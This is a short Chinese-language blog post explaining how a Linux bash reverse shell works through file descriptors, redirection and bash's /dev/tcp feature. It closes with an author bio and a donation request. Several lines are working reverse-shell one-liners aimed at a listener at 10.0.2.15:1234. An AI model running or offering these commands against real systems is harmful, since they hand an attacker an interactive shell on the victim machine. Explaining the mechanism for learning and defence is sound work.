linux反弹shell原理学习
@ s1ye · Sunday, Dec 8, 2019 · 2 · Dec 8, 2019

标砖输入输出及错误输出

linux “一切皆文件”

理解linux一切皆文件

文件描述符

文件描述符(file descriptor),简称fd。这里就使用到了“文件描述符”,它是一个对应某个已经打开的文件的索引(非负整数)。
0 标准输入文件stdin
1 标准输出文件stdout
2 标准错误输出文件stderr

由于linux一切皆文件,所以:

bash -i > /dev/tcp/10.0.2.15/1234 #输出重定向 本机的输入将在10.0.2.15机器中输出
bash -i < /dev/tcp/10.0.2.15/1234 #attacker输入重定向到受害者机器

写下来形成闭合回路 : )
bash -i > /dev/tcp/10.0.2.15/1234 0>&1
# bash -i > /dev/tcp/ip/port 将本机的输出重定向到ip
# linux由左向右执行,所以0>&1将/dev/tcp/ip/port的输入重定向到本机(受害者机器)

:/dev/tcp/host/port是bash的一个特性,这个文件并不存在,而且并不是一个设备文件。这只是 bash 实现的用来实现网络请求的一个接口,读取或写入相当于建立socket调用。

参考这里

&> 等同于>& 等同于 > word 2>&1 。

所以为了取消在受害者shell中输出attacker的输入内容,利用>&将错误输出重定向。

bash -i >& /dev/tcp/10.0.2.15/1234 0>&1
等价于
bash -i > /dev/tcp/10.0.2.15/1234 0>&1 2>&1

参考

linux反弹shell的本质

关于我

s1ye的❤️博客

平时会记录一些学习笔记或分享有趣的姿势

即将毕业🏫的大四学生

职业是一个热爱技术的普通网络安全从业者

目前就职于暗泉信息

团队

所在团队🌈 :ChaBug

ID:s1ye(撕夜,)

可以通过qq1联系我,

- 2020 年 2 月 8 日更新


  1. 1062316154 ↩︎

其他

如果喜欢我的文章,或者有幸某篇文章对您有所帮助。

可以送我一杯咖啡~

我的微信赞赏码

wx

欢迎救济平困人民,非常感谢🙏。